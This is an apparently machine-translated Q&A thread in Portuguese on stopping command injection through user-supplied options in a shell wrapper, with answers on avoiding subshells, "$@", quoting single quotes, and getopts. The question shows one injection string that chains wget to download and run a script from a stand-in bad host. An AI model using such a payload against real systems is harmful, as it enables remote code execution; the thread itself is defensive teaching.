Como evitar a injeção de comando através das opções de comando?

12

Eu tenho um aplicativo de wrapper onde eu preciso deixar o usuário especificar opções personalizadas para passar para um simulador. No entanto, quero ter certeza de que o usuário não injete outros comandos através das opções do usuário. Qual é a melhor maneira de conseguir isso?

Por exemplo.

  • O usuário fornece: -a -b
  • O aplicativo é executado: mysim --preset_opt -a -b

No entanto, não quero que isso aconteça:

  • O usuário fornece: && wget http:\bad.com\bad_code.sh && .\bad_code.sh
  • O aplicativo é executado: mysim --preset_opt && wget http:\bad.com\bad_code.sh && .\bad_code.sh

Atualmente, estou pensando que poderia simplesmente cercar todas as opções fornecidas pelo usuário com aspas simples ' e remover quaisquer aspas simples fornecidas pelo usuário, para que o comando no último exemplo se mostrasse inofensivo:

mysim -preset_opt '&&' 'wget' 'http:\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Nota: O comando mysim é executado como parte de um script de shell em um contêiner docker / lxc. Estou executando o Ubuntu.

    
por Victor Lyuboslavsky 11.07.2013 / 16:17

3 respostas

6

Se você tiver controle sobre o programa wrapper, certifique-se de que ele não invoque uma subshell. No fundo, uma instrução para executar um programa consiste no caminho completo (absoluto ou relativo ao diretório atual ) para o executável e uma lista de strings para passar como argumentos. A pesquisa PATH, espaço em branco separando argumentos, citando e controlando operadores são todos fornecidos pelo shell. Sem casca, sem dor.

Por exemplo, com um wrapper Perl, use o formulário de lista de exec ou system . Em muitos idiomas, chame uma das funções exec ou execXXX (ou unix.exec ou o que for chamado) em vez de system ou os.spawn com shell=False ou o que for necessário.

Se o wrapper for um script de shell, use "$@" para passar os argumentos, por exemplo,

#!/bin/sh
mysim -preset-opt "$@"

Se você não tem escolha e o programa invólucro invoca um shell, você precisará citar os argumentos antes de passá-los para o shell. A maneira fácil de citar argumentos é fazer o seguinte:

  1. Em cada argumento, substitua cada ocorrência de ' (aspas simples) pela string de quatro caracteres '\'' . (por exemplo, don't se torna don'\''t )
  2. Adicione ' no início de cada argumento e também no final de cada argumento. (por exemplo, de don't , don'\''t se torna 'don'\''t' )
  3. Concatene os resultados com um espaço entre eles.

Se você precisar fazer isso em um wrapper de shell, aqui está uma maneira.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Infelizmente, a construção ${VAR//PATTERN/REPLACEMENT} do bash, que deve ser útil aqui, requer uma cotação peculiar, e eu não acho que você possa obter '\'' como o texto de substituição.)

    
por 12.07.2013 / 01:19
1

Você pode usar o ${VAR//PATTERN/REPLACEMENT} do Bash para transformar uma única citação ' em '\'' colocando primeiro '\'' em uma variável (como uma etapa intermediária) e expandindo essa variável como o elemento REPLACEMENT em o idioma do Bash mencionado.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
    
por 12.07.2013 / 12:38
0

Você pode usar getopts em bash , que pode analisar os argumentos para você, por exemplo:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
    
por 04.10.2015 / 18:24